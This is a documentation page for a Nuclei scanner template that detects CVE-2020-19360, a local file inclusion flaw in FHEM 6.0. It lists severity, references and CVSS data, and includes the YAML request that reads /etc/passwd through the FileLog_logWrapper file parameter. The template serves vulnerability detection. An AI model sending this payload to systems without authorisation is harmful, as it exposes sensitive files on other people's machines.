FHEM 6.0 - Local File Inclusion
ID: CVE-2020-19360
Severity: high
Author: 0x_Akoko
Tags: cve,cve2020,fhem,lfi
Description
Section titled “Description”FHEM version 6.0 suffers from a local file inclusion vulnerability.
YAML Source
Section titled “YAML Source”id: CVE-2020-19360
info: name: FHEM 6.0 - Local File Inclusion author: 0x_Akoko severity: high description: FHEM version 6.0 suffers from a local file inclusion vulnerability. impact: | Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the target system. remediation: | Apply the latest patch or upgrade to a version that is not affected by the vulnerability. reference: - https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability/blob/master/README.md - https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability - https://emreovunc.com/blog/en/FHEM-v6.0-LFI-Vulnerability-01.png - https://nvd.nist.gov/vuln/detail/CVE-2020-19360 - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2020-19360 cwe-id: CWE-22 epss-score: 0.05104 epss-percentile: 0.92929 cpe: cpe:2.3:a:fhem:fhem:6.0:*:*:*:*:*:*:* metadata: max-request: 1 vendor: fhem product: fhem tags: cve,cve2020,fhem,lfi
http: - method: GET path: - "{{BaseURL}}/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text"
matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0"
- type: status status: - 200# digest: 4b0a00483046022100d60628bcb4c9b2a28df27be264a563da05e201a67e22760dcd30c7f4d75256b0022100aa6d4c5fe643c0d45ceffd4f1287f26b43c9cb45992f71fd54b972026a8a6872:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-19360.yaml"